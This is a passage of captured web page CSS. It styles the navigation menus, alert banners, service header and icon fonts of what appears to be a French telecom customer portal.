.items { display: none; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items { background: rgb(238, 238, 238); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link { display: block; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.78571em; font-size: 0.875em; line-height: 2.85714em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-color: rgb(0, 121, 128) !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links { border-top: 0.1875em solid rgb(238, 238, 238); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a { font-size: 0.875em; display: flex; align-items: center; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.42857em; line-height: 2.85714em; outline-offset: 0px; font-weight: 700; color: rgb(0, 0, 0); } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a:focus-visible { outline-color: rgb(0, 121, 128) !important; outline-offset: -0.25em !important; } .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a i { font-size: 1.71429em; padding-right: 0.3em; } .gp.navigation .icon.after.arrow-right { text-align: left; box-sizing: border-box; width: 100%; min-height: 1.14286em; line-height: 1.14286em; font-size: 0.875em; font-weight: bold; padding: 1.07143em; display: flex; align-items: center; gap: 0.714286em; } .gp.navigation .icon.after.arrow-right::after { color: rgb(255, 121, 0); font-size: 1.42857em; margin-left: auto; } .gp.navigation .icon.after.arrow-right:hover, .gp.navigation .icon.after.arrow-right:focus, .gp.navigation .icon.after.arrow-right:focus-visible { text-decoration: none; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .gp.navigation .icon.after.arrow-right:hover:focus-visible, .gp.navigation .icon.after.arrow-right:focus:focus-visible, .gp.navigation .icon.after.arrow-right:focus-visible:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .gp.navigation .pos-marker { position: absolute; width: 0px; height: 0px; visibility: hidden; } .sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link, .sosh.navigation .events .event { color: rgb(0, 0, 0); border: medium; position: relative; display: flex; align-items: center; min-height: 3.125em; font-size: 1em; text-align: center; text-decoration: none; cursor: pointer; padding: 0px 1.25em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .nav-list .nav-item .mega-menu-button:first-of-type, .sosh.navigation .nav-list .nav-item .dropdown-item-link:first-of-type, .sosh.navigation .events .event:first-of-type { margin-left: -1.25em; } .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .events .event:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } @media (max-width: 60em) { .sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link, .sosh.navigation .events .event { padding: 0px 0.3125em; } } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"], .sosh.navigation .nav-list .nav-item .mega-menu-button:active, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded="true"], .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .events .event[aria-expanded="true"], .sosh.navigation .events .event:active, .sosh.navigation .events .event:focus-visible, .sosh.navigation .events .event:hover { color: rgb(0, 121, 128); } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"], .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"] span, .sosh.navigation .nav-list .nav-item .mega-menu-button:active, .sosh.navigation .nav-list .nav-item .mega-menu-button:active span, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible span, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover span, .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded="true"], .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded="true"] span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:active span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover span, .sosh.navigation .events .event[aria-expanded="true"], .sosh.navigation .events .event[aria-expanded="true"] span, .sosh.navigation .events .event:active, .sosh.navigation .events .event:active span, .sosh.navigation .events .event:focus-visible, .sosh.navigation .events .event:focus-visible span, .sosh.navigation .events .event:hover, .sosh.navigation .events .event:hover span { font-weight: 700; } .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .events .event:focus-visible { outline-color: rgb(0, 121, 128) !important; } .sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link { background: none; } .sosh.navigation .nav-list { display: flex; width: 100%; padding-top: 0px; padding-bottom: 0px; margin: 0px; list-style: none; gap: 0.625em; } .sosh.navigation .nav-list:not(.dropdown) { padding: 0px; } .sosh.navigation .nav-list .nav-item { margin: 0px; transition: margin 0.3s ease-in-out; } .sosh.navigation .nav-list .nav-item[aria-expanded="true"] { margin-bottom: 3.125em; } .sosh.navigation .nav-list .nav-item.hidden-dropdown { margin-bottom: 0px; } .sosh.navigation .nav-list .nav-item.hidden-dropdown .nav-list.dropdown { display: none !important; } .sosh.navigation .nav-list .nav-item .dropdown-item-link { flex-direction: column; justify-content: center; color: rgb(255, 255, 255); outline: none; outline-offset: -3px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -7px !important; } @media (max-width: 60em) { .sosh.navigation .nav-list .nav-item .dropdown-item-link { padding: 0px 0.3125em; } } .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link.url-match { color: rgb(255, 255, 255); box-shadow: rgb(0, 0, 0) 1.625em 0px 0px 0px inset, rgb(0, 0, 0) -1.625em 0px 0px 0px inset, rgb(38, 130, 142) 0px -0.3125em 0px 0px inset; } .sosh.navigation .nav-list .nav-item .mega-menu-button { position: relative; height: 3.125em; flex-direction: column; } .sosh.navigation .nav-list .nav-item .mega-menu-button + .dropdown.nav-list { height: 0px; transition: height 0.3s ease-in-out; background: rgb(0, 0, 0); position: absolute; left: 0px; right: 0px; top: 3.125em; } .sosh.navigation .nav-list .nav-item .mega-menu-button + .dropdown.nav-list a { visibility: hidden; } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"]::after { position: absolute; top: 100%; left: 50%; z-index: 1; content: ""; border-width: 10px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgba(0, 0, 0, 0) rgb(255, 255, 255); border-image: none; transform: rotate(180deg) translateX(50%) translateY(5%); } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"] + .dropdown.nav-list { height: 3.125em; } .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded="true"] + .dropdown.nav-list a { visibility: visible; } .sosh.navigation .nav-list .nav-item span.text-content { display: flex; height: 100%; line-height: 100%; align-items: center; } .sosh.navigation .nav-list .nav-item span.keep-size { display: block; color: rgb(255, 0, 255); font-weight: bold; visibility: hidden; overflow: hidden; height: 0px; } .sosh.navigation .mobile-navigation-menu ul { list-style: none; padding: 0px; margin: 0px; } .sosh.navigation .mobile-navigation-menu:not(.is-open) * { display: none; } .sosh.navigation .mobile-navigation-menu.is-open .mobile-navigation-content { transform: translateX(0px); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content { display: flex; transform: translateX(-100%); transition: transform 0.3s; position: fixed; top: var(--top-offset); bottom: 0px; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(85, 85, 85); border-right: 1px solid rgb(85, 85, 85); color: rgb(255, 255, 255); z-index: 99980; left: 0px; width: 22.5em; overflow: hidden; } @media screen and (max-width: 30em) { .sosh.navigation .mobile-navigation-menu .mobile-navigation-content { width: 100%; } } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel { flex: 0 0 100%; overflow-y: auto; transition: transform 0.3s; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel > * { display: block; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel a { font-size: 0.875em; padding: 1.07143em; font-weight: 700; text-decoration: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back { display: flex; padding: 0.9375em; border-bottom: 1px solid rgb(85, 85, 85); outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back::before { font-size: 1.25em; transform: rotate(180deg); color: rgb(241, 110, 0); padding-right: 0.3125em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .title { display: block; font-size: 0.875em; font-weight: 700; padding: 1.07143em; color: rgb(241, 110, 0); border-bottom: 1px solid rgb(85, 85, 85); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-1, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 { display: flex; flex: 0 0 100%; overflow: hidden auto; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2 .level-panel { transform: translateX(-100%); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 .level-panel { transform: translateX(-200%); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links { background-color: rgb(0, 0, 0); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a { border-top: 1px solid rgb(85, 85, 85); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a.icon::before { font-size: 1.42857em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher { display: flex; flex-wrap: wrap; justify-content: space-around; gap: 0.9375em; padding: 0.9375em; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(51, 51, 51); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { display: flex; padding: 0.9375em; box-sizing: border-box; width: calc(50% - 0.9375em); align-items: center; justify-content: left; border: 1px solid rgb(51, 51, 51); } @media (max-width: 20.3125em) { .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { width: 100%; } } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * > i.icon { font-size: 1.2em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { display: flex; padding: 0.357143em; margin: 0.714286em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { margin-right: auto; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event { padding: 0.3125em; color: rgb(241, 110, 0); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus-visible { color: rgb(255, 255, 255); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event span { display: inline-block; font-size: 0.875em; height: 1.42857em; line-height: 1.42857em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { background-color: rgb(0, 0, 0); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events .event { border-top: 1px solid rgb(85, 85, 85); font-size: 1em; padding: 0.875em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { gap: 6px; position: relative; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .icon::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .icon::before { margin-top: 3px; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .badge, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .badge { right: unset; transform: scale(0.85); top: 0.5em; left: 1.5em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel { display: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel.is-selected { display: unset; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link { border-bottom: 1px solid rgb(85, 85, 85); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link .icon { font-size: 1.5em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .bottom-link { padding: 0.9375em; display: flex; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel { display: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel.is-selected { display: unset; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category { border-bottom: 1px solid rgb(85, 85, 85); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category h3 { margin: 0px; font-size: 0.875em; padding: 0.9375em; font-weight: 700; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul { margin: 0px; padding: 0px; list-style-type: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a { font-weight: normal; padding: 0.75em 0.9375em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: "NEW"; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content { background-color: rgb(255, 255, 255); display: flex; flex-direction: column; width: 100%; overflow-y: auto; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header { display: flex; height: 3.75em; background: rgb(38, 130, 142); justify-content: space-between; align-items: center; padding: 0px 0.9375em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header * { color: rgb(255, 255, 255); outline: none; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header :focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close { display: flex; align-items: center; justify-content: center; height: 2.5em; font-weight: 700; padding: 0px 0.375em 0px 2.1875em; border: 0px; background: none; position: relative; cursor: pointer; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { position: absolute; top: 50%; left: 0.9375em; width: 0.125em; height: 1.5625em; content: " "; background-color: rgb(255, 255, 255); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before { transform: translateY(-50%) rotate(45deg); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { transform: translateY(-50%) rotate(-45deg); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::after { color: rgb(238, 238, 238); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .logo { padding: 0px 0.5em; margin: 0px 0px 0px auto; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event { width: 100%; padding: 0px 0.625em 0px 1.25em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event::after { position: absolute; right: 1.25em; color: rgb(222, 37, 84); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event span { display: flex; position: relative; align-items: center; min-height: 3.5625em; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button { display: flex; position: relative; color: rgb(0, 0, 0); font-size: 0.875em; align-items: center; width: 100%; min-height: 4.07143em; padding: 0px 0.357143em 0px 1.42857em; font-weight: 700; text-align: left; text-decoration: none; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button::before { position: absolute; top: 50%; right: 20px; padding: 3px; content: ""; border-style: solid; border-color: rgb(204, 204, 204); border-image: none; border-width: 0px 2px 2px 0px; transform: translateY(-50%) rotate(45deg); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded="true"] { background-color: rgb(238, 238, 238); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded="true"]::before { transform: rotate(-135deg); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-color: rgb(0, 121, 128) !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:not([aria-expanded="true"]) + .items { display: none; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items { background: rgb(238, 238, 238); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link { display: block; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.78571em; font-size: 0.875em; line-height: 2.85714em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-color: rgb(0, 121, 128) !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links { border-top: 0.1875em solid rgb(238, 238, 238); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a { font-size: 0.875em; display: flex; align-items: center; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.42857em; line-height: 2.85714em; outline-offset: 0px; font-weight: 700; color: rgb(0, 0, 0); } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a:focus-visible { outline-color: rgb(0, 121, 128) !important; outline-offset: -0.25em !important; } .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a i { font-size: 1.71429em; padding-right: 0.3em; } @media (max-width: 64em) { .sosh.navigation { min-height: 0px; z-index: 10000000; border-bottom: 0px; } } .band.service { position: relative; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); } @media (max-width: 64em) { .band.service { padding: 0.3125em; border-bottom: 0.0625em solid rgb(221, 221, 221); } } @media screen and (min-width: 64em) { .band.service { min-height: 6.875em; display: flex; justify-content: space-between; align-items: center; } } .band.service h1 { margin: 0.1875em auto 0.1875em 0.3125em; font-size: 1.5em; line-height: 1.5em; } @media screen and (min-width: 64em) { .band.service h1 { margin: 0px; font-size: 2.125em; } } @media screen and (min-width: 80em) { .band.service h1 { font-size: 2.625em; } } .band.service h1 a { font-size: inherit; color: rgb(0, 0, 0); text-decoration: none; } .band.service h1 a:visited { color: rgb(0, 0, 0); } .band.service h1 a:hover, .band.service h1 a:active, .band.service h1 a:focus { text-decoration: none; } .band.bandeau-alerte { display: flex; color: rgb(0, 0, 0); font-size: 1em; padding-top: 10px; padding-bottom: 10px; z-index: 99980; } .band.bandeau-alerte .icon-wrapper { display: flex; align-items: center; width: 2em; min-height: 2em; padding-right: 0.9375em; } @media (max-width: 48em) { .band.bandeau-alerte .icon-wrapper { align-items: flex-start; } } .band.bandeau-alerte .icon-wrapper .icon { font-size: 2em; display: inline-block; } .band.bandeau-alerte .message-wrapper { display: flex; align-items: center; padding: 0px; } .band.bandeau-alerte .message-wrapper p { margin: 0px; } .band.bandeau-alerte .message-wrapper p .description { padding-left: 0.3em; margin-right: 0.5em; } .band.bandeau-alerte .message-wrapper p .click-to-action { display: inline-flex; flex-wrap: nowrap; color: rgb(0, 0, 0); font-weight: bold; text-decoration: underline; } .band.bandeau-alerte .close-button-wrapper { display: flex; align-items: center; padding-left: 1em; margin-left: auto; } @media (max-width: 48em) { .band.bandeau-alerte .close-button-wrapper { align-items: flex-start; } } .band.bandeau-alerte .close-button-wrapper .close-button { font-size: 1.25em; padding: 0px 0px 0px 0.4375em; background: none; border: medium; cursor: pointer; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .band.bandeau-alerte .close-button-wrapper .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .band.bandeau-alerte .close-button-wrapper .close-button:hover { color: rgb(85, 85, 85); } .band.bandeau-alerte, .band.bandeau-alerte.alert { background: rgb(253, 229, 230); } .band.bandeau-alerte .icon-wrapper .icon, .band.bandeau-alerte.alert .icon-wrapper .icon { color: rgb(231, 0, 2); } .band.bandeau-alerte.attention { background: rgb(255, 250, 231); } .band.bandeau-alerte.attention .icon-wrapper .icon { color: rgb(255, 205, 11); } .band.bandeau-alerte.success { background: rgb(236, 253, 239); } .band.bandeau-alerte.success .icon-wrapper .icon { color: rgb(61, 227, 90); } .band.bandeau-alerte.info { background: rgb(233, 248, 255); } .band.bandeau-alerte.info .icon-wrapper .icon { color: rgb(38, 178, 255); } .band.bandeau-alerte.neutral { background: rgb(244, 244, 244); } .band.bandeau-alerte.neutral .icon-wrapper .icon { color: rgb(0, 0, 0); } .band a.logo { height: auto; width: auto; display: inline-flex; text-align: center; align-items: center; justify-content: center; padding: 0px; font-size: inherit; } .band a.logo img { display: block; min-height: 1.875em; width: auto; min-width: 1.875em; margin: 0px; } .band a.logo:focus-visible { outline: rgb(255, 255, 255) solid 0.125em !important; outline-offset: 0.25em !important; } .band.gp a.logo img.small { height: 1.875em; } .band.gp a.logo img.large { height: 3.125em; } .band.sosh a.logo { margin-top: 0px; margin-bottom: 0px; padding: 0px 8px; } .band.sosh a.logo img { height: 3.0625em; } @media (max-width: 64em) { .band.sosh a.logo { margin: auto; } }" data-scrapbook-adoptedstylesheet-1=".screen-reader-only { position: absolute; padding: 0px; overflow: hidden; clip: rect(0px, 0px, 0px, 0px); white-space: nowrap; border: 0px; font-size: 0.01px; } .hidden { display: none !important; } body.une-arche elcos-header, body.une-arche elcos-footer-zone { --body-has-arch: 1 ; } elcos-header { --mobile-phone-portrait-breakpoint: 30em; --mobile-768-breakpoint: 48em; --mobile-breakpoint: 64em; --tiny-desktop-1100-breakpoint: 68.75em; --small-desktop-1280-breakpoint: 80em; } .gp :focus-visible { outline-color: rgb(241, 110, 0) !important; } .sosh :focus-visible { outline-color: rgb(255, 255, 255) !important; } @font-face { font-family: "o-HelveticaNeue"; src: url("HelvNeue55_W1G.eot") format("embedded-opentype"), url("HelvNeue55_W1G.woff2") format("woff2"), url("HelvNeue55_W1G.woff") format("woff"), url("HelvNeue55_W1G.ttf") format("truetype"), url("HelvNeue55_W1G.svg") format("svg"); font-style: normal; font-weight: normal; font-display: swap; } @font-face { font-family: "o-HelveticaNeue"; src: url("HelvNeue75_W1G.eot") format("embedded-opentype"), url("HelvNeue75_W1G.woff2") format("woff2"), url("HelvNeue75_W1G.woff") format("woff"), url("HelvNeue75_W1G.ttf") format("truetype"), url("HelvNeue75_W1G.svg") format("svg"); font-style: normal; font-weight: bold; font-display: swap; } @font-face { font-family: "Sosh Medium"; src: url("") format("woff2"), url("") format("woff"); font-style: normal; font-weight: 400; } @font-face { font-family: "Sosh Medium"; src: url("") format("woff2"), url("") format("woff"); font-style: normal; font-weight: 700; } @font-face { font-family: "Sosh Bold"; src: url("") format("woff2"), url("") format("woff"); font-style: normal; font-weight: 700; } .sosh * { font-family: "Sosh Medium", Arial, sans-serif; font-weight: 400; } @font-face { font-family: "elcos-embedded-icons"; src: url("") format("woff"); font-style: normal; font-weight: normal; } .icon::before, .icon::after { font-family: "elcos-embedded-icons"; font-style: normal; font-weight: normal; display: inline-block; width: 1em; text-align: center; font-variant: normal; text-transform: none; -moz-osx-font-smoothing: grayscale; } .icon::before { content: var(--icon); } .icon.after::before { content: none; } .icon.after::before { content: none; } .icon.after::after { content: var(--icon); } .icon.arrow-right { --icon: ""; } .icon.confirmation-tick { --icon: ""; } .icon.error { --icon: ""; } .icon.info { --icon: ""; } .icon.warning { --icon: ""; } .gp .icon.accessibilite { --icon: ""; } .gp .icon.accessories { --icon: ""; } .gp .icon.assistance { --icon: ""; } .gp .icon.avantage-client { --icon: ""; } .gp .icon.avatar { --icon: ""; } .gp .icon.bons-plans { --icon: ""; } .gp .icon.boutique { --icon: ""; } .gp .icon.burger { --icon: ""; } .gp .icon.bvld { --icon: ""; } .gp .icon.calendar { --icon: ""; } .gp .icon.contact { --icon: ""; } .gp .icon.contacts { --icon: ""; } .gp .icon.contrat { --icon: ""; } .gp .icon.delete { --icon: ""; } .gp .icon.equipement-tv { --icon: ""; } .gp .icon.exit { --icon: ""; } .gp .icon.facebook { --icon: ""; } .gp .icon.fibre { --icon: ""; } 